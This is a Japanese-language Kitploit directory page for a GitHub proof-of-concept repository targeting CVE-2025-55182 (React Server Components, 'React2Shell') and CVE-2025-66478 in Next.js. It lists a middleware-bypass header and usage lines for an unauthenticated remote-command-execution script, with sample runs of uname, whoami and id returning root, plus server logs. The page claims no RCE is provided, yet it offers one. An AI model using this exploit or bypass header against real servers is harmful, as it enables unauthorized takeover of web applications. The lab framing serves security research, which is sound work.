Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2025-55182 — PoC: CVE-2025-55182 (React) および CVE-2025-66478 (Next.js) | Kitploit
ツール/GitHubGitHub/nehkark/cve-2025-55182
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育ラボと実践
GitHubnehkark/cve-2025-55182

CVE-2025-55182

PoC: CVE-2025-55182 (React) および CVE-2025-66478 (Next.js)

リポジトリを見る
728ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2025-55182 / CVE-2025-66478 — Next.js ミドルウェア / RSC バイパス分析

著者は、この研究によって引き起こされる誤用や損害について一切の責任を負いません。
厳密に教育および防御目的で提供されます。


説明

このリポジトリには、CVE-2025-55182 およびその重複である CVE-2025-66478 に関する小さな実験環境と Proof-of-Concept 分析が含まれています。これらは Next.js React Server Components (RSC) および ミドルウェア認証バイパス動作 に関連しています。

この PoC の目的は、脆弱性に必要な内部リクエストフロー条件を再現し、ミドルウェアの動作を分析し、特定の構成下で x-middleware-subrequest が保護されたルートにどのように影響するかを理解することです。

このリポジトリはリモートコード実行を提供しません。
研究のための制御された環境を提供します:

  • ミドルウェア認証
  • RSC / Flight ヘッダー
  • App Router リクエストフロー
  • 細工されたヘッダー下でのバイパス動作

NVD は現在、CVE-2025-66478 を次のように分類しています:

root@kitploit:~
Rejected reason: This CVE is a duplicate of CVE-2025-55182

この動作は依然として存在します。統合中に識別子のみが変更されました。


攻撃ベクトル(動作概要)

  1. 保護された API ルートが ミドルウェア によって強制される
  2. 通常のリクエストは 403 Forbidden を返す
  3. 以下のヘッダーを追加した場合:
root@kitploit:~
x-middleware-subrequest: 1
  1. リクエストが誤って 200 OK を返す可能性がある
  2. 動作はミドルウェアのレイアウト、App Router、RSC ヘッダーに依存する

影響を受けるフローで通常見られるヘッダー:

root@kitploit:~
X-Powered-By: Next.js
x-middleware-rewrite: /...
Vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Next-Url, Accept-Encoding

実験環境の構成

root@kitploit:~
nextjs-vuln/
│
├── Dockerfile
├── package.json
├── middleware.js
│
└── app/
    ├── page/
    │   └── index.js
    │
    ├── protected/
    │   └── page.js
    │
    └── api/
        └── admin/
            └── secret/
                └── route.js

ラボの実行 (Docker)

root@kitploit:~
docker build -t nextjs-vuln .
docker run -p 3000:3000 nextjs-vuln

PoC スクリプトの使用方法

このリポジトリには分析用のヘルパースクリプト NextJs.py が含まれています:

  • 通常 vs バイパス応答
  • ミドルウェアの変更
  • RSC / Flight ヘッダーの存在

例:

root@kitploit:~
python3 NextJs.py -u http://localhost:3000
root@kitploit:~
krakhen@kapz:~$ python3 NextJs.py -u http://localhost:3000
Next.js React2Shell Passive Detector
------------------------------------

[+] Target URL : http://127.0.0.1:3000
[+] Timeout    : 10s
[+] TLS verify : enabled

=== Fingerprint ===
  - Next.js detected via headers.
  - React Server Components (RSC) detected.
  - Inferred Next.js generation: Next.js (generation unclear)

=== React2Shell Probe ===
  - Benign React Flight gadget executed and returned marker digest.
  - This strongly suggests React2Shell / CVE-2025-55182 style vulnerability.

=== Summary ===
Timestamp (UTC): 2025-12-05T22:04:25.089044+00:00
Target         : http://127.0.0.1:3000
HTTP status    : 500
Digest         : REACT2SHELL_PROBE
Verdict        : LIKELY_VULNERABLE to React2Shell-style exploit path

Response body (truncated):
0:{"a":"$@1","f":"","b":"development"} 1:E{"digest":"REACT2SHELL_PROBE","message":"NEXT_REDIRECT","stack":[],"env":"Server"}

リモートコードエクスプロイト | PoC poc-cve-2025-55182.py

このツールを使用すると、認証なしで任意のリモートコードを実行できます。

使用方法:

  • python3 poc-cve-2025-55182.py -u http://host:port -c "command"
root@kitploit:~
krakhen@kapz:~/$ python poc-cve-2025-55182.py -u http://127.0.0.1:3000 -c "uname -a"
React2Shell PoC - CVE-2025-55182
---------------------------------

[+] Target URL : http://127.0.0.1:3000
[+] Command    : uname -a

[+] Sending crafted Flight payload...
[+] HTTP status: 500

[✓] RCE confirmed. Command output:

    Linux 5596495ec378 6.11.0-29-generic #29-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 13 20:29:41 UTC 2025 x86_64 Linux

krakhen@kapz:~/$ python poc-cve-2025-55182.py -u http://127.0.0.1:3000 -c "whoami"
React2Shell PoC - CVE-2025-55182
---------------------------------

[+] Target URL : http://127.0.0.1:3000
[+] Command    : whoami

[+] Sending crafted Flight payload...
[+] HTTP status: 500

[✓] RCE confirmed. Command output:

    root

krakhen@kapz:~/$ python poc-cve-2025-55182.py -u http://127.0.0.1:3000 -c "id"
React2Shell PoC - CVE-2025-55182
---------------------------------

[+] Target URL : http://127.0.0.1:3000
[+] Command    : id

[+] Sending crafted Flight payload...
[+] HTTP status: 500

[✓] RCE confirmed. Command output:

    uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)

Docker ログ

root@kitploit:~

 POST / 500 in 10ms
 ⨯ next/dist/compiled/react-server-dom-webpack/cjs/react-server-dom-webpack-server.node.development.js (3158:34) @ get
 ⨯ Internal error: Error: NEXT_REDIRECT
    at Object.eval [as then] (eval at <anonymous> (/app/node_modules/next/dist/compiled/next-server/app-page.runtime.dev.js:122:67039), <anonymous>:3:132)
    at process.processTicksAndRejections (node:internal/process/task_queues:95:5)
digest: "Linux 5596495ec378 6.11.0-29-generic #29-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 13 20:29:41 UTC 2025 x86_64 Linux"
  3156 |             return (
  3157 |               (obj = parseInt(value.slice(2), 16)),
> 3158 |               response._formData.get(response._prefix + obj)
       |                                  ^
  3159 |             );
  3160 |         }
  3161 |         switch (value[1]) {
 POST / 500 in 11ms
 ⨯ next/dist/compiled/react-server-dom-webpack/cjs/react-server-dom-webpack-server.node.development.js (3158:34) @ get
 ⨯ Internal error: Error: NEXT_REDIRECT
    at Object.eval [as then] (eval at <anonymous> (/app/node_modules/next/dist/compiled/next-server/app-page.runtime.dev.js:122:67039), <anonymous>:3:130)
    at process.processTicksAndRejections (node:internal/process/task_queues:95:5)
digest: "root"
  3156 |             return (
  3157 |               (obj = parseInt(value.slice(2), 16)),
> 3158 |               response._formData.get(response._prefix + obj)
       |                                  ^
  3159 |             );
  3160 |         }
  3161 |         switch (value[1]) {
 POST / 500 in 11ms
 ⨯ next/dist/compiled/react-server-dom-webpack/cjs/react-server-dom-webpack-server.node.development.js (3158:34) @ get
 ⨯ Internal error: Error: NEXT_REDIRECT
    at Object.eval [as then] (eval at <anonymous> (/app/node_modules/next/dist/compiled/next-server/app-page.runtime.dev.js:122:67039), <anonymous>:3:126)
    at process.processTicksAndRejections (node:internal/process/task_queues:95:5)
digest: "uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)"
  3156 |             return (
  3157 |               (obj = parseInt(value.slice(2), 16)),
> 3158 |               response._formData.get(response._prefix + obj)
       |                                  ^
  3159 |             );
  3160 |         }
  3161 |         switch (value[1]) {

著者と連絡先

  • 研究者 : krakhen.dev
  • GitHub : @nehkark
  • Email : [email protected]**
  • ウェブサイト : https://vciso.cloud
  • ICQ : 24298753

ツールをダウンロード